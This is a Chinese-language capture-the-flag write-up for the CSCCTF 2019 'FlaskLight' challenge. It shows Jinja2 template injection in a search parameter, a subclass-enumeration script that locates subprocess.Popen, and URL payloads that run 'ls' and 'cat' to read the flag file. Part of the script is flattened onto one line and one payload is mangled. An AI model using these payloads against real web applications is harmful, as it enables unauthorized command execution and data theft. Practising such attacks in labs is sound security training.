[CSCCTF 2019 Qual]FlaskLight 1

查看網頁源代碼，發現里面的提示

嘗試輸入url

http://e1f8bf68-fab7-482f-901b-12c336d1cdeb.node3.buuoj.cn/?search={{1*9}}

成功回顯，說明存在ssti注入
使用{{’’.class.mro[2].subclasses()}}，可以爆出object類中所有子類，找出subprocess.Popen，copy大佬額exp。

import requests import re import html import timeindex = 0 for i in range(170, 1000):try:url = "http://xxxx/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"r = requests.get(url)res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)time.sleep(0.1)# print(res)# print(r.text)res = html.unescape(res[0])print(str(i) + " | " + res)if "subprocess.Popen" in res:index = ibreakexcept:continue print("indexo of subprocess.Popen:" + str(index))

得到了subprocess.Popen的下表為258。
列出所有目錄文件

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

查找flasklight目錄下的文件，發現疑似flag的文件

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}

讀取文件coomme_geeeett_youur_flek文件

?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

成功獲取flag

總結

以上是生活随笔為你收集整理的ssti练习之[CSCCTF 2019 Qual]FlaskLight 1的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。